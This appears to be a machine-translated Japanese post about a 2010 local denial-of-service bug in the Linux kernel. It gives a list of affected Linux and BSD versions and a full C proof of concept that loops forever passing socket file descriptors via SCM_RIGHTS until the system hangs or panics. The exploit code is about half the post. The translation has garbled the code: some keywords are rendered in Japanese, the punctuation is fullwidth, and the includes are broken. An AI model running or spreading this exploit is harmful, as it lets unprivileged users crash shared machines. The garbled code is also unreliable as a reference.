Linuxカーネルのローカルな脆弱性(だけでなく)DoS

コンピューターをフリーズさせる公開コード(すべてのコアの100%ロード、ファイル記述子の枯渇)。



コードリンク: lkml.org/lkml/2010/11/25/8



27、32のチェック-ハングが再現されます。 32/64ビット。



明確にしましょう。1〜2秒後にクラッシュダンプが飛んで(読む時間がありません)、ホストが過負荷になっています。 別のテストでは、プログラムが終了した後(約5〜7秒後に)システムがクラッシュしました。



LauraのPSエキスパートは、FreeBSD 8.1もクラッシュすると言います。



PPS突然-2.6.18以降のCentOS 5.5ではクラッシュしません。 ルートから実行する場合、ユーザーからドロップします-静かに実行します。 この場合、隣接するコンソールのルートは作業に干渉せず、システムはクラッシュしません。



状況を明確にしようとしています:



1)非特権ユーザーのCentOS 2.6.18 / 64は影響を受けません。

2)権限のないユーザーがいるDebian Squeeze 2.6.34 / 64が公開されています(カーネルパニック)。

3)噂によると、一部のFreeBSDで再現することが可能でした(コメントから-FreeBSD 8.2-PRERELEASEは再生されません)

4)コメントから-Ubuntu 2.6.32 / 64では再現できませんでしたが、2.6.36では再現されています。

5)Ubuntu 2.6.34 / 64-再生可能

6)コメントから-RHEL5.5はフリーズしませんが、速度が低下し、プロセスを強制終了できなくなります。

7)コメントから:FreeBSD 4.11、8.1、OpebBSD 4.6、4.8、DragonFLY BSD 2.8.0-影響あり

8)OpenVZ + 2.6.18 Debian / Centos-再生できません。



テストする人のためのPPPS-非特権ユーザーから始める必要があります。



テストテキスト:



 #include <sys / socket.h>
 #include <sys / un.h>

 static int send_fd(int unix_fd、int fd)
 {
   struct msghdr msgh;
   struct cmsghdr * cmsg;
   char buf [CMSG_SPACE(sizeof(fd))];
   memset(&msgh、0、sizeof(msgh));
   memset(buf、0、sizeof(buf));

   msgh.msg_control = buf;
   msgh.msg_controllen = sizeof(buf);

   cmsg = CMSG_FIRSTHDR(&msgh);
   cmsg-> cmsg_len = CMSG_LEN(sizeof(fd));
   cmsg-> cmsg_level = SOL_SOCKET;
   cmsg-> cmsg_type = SCM_RIGHTS;

   msgh.msg_controllen = cmsg-> cmsg_len;

   memcpy(CMSG_DATA(cmsg)、&fd、sizeof(fd));
   return sendmsg(unix_fd、&msgh、0);
 }

 int main()
 {
   int fd [2]、ff [2];
   intターゲット;
   if(ソケットペア(PF_UNIX、SOCK_SEQPACKET、0、fd)==-1)
     1を返します。
   (;;)
   {
     if(ソケットペア(PF_UNIX、SOCK_SEQPACKET、0、ff)==-1)
	 return 2;
     send_fd(ff [0]、fd [0]);
     send_fd(ff [0]、fd [1]);
    閉じる(fd [1]);
    閉じる(fd [0]);
     fd [0] = ff [0];
     fd [1] = ff [1];
   }
 }



All Articles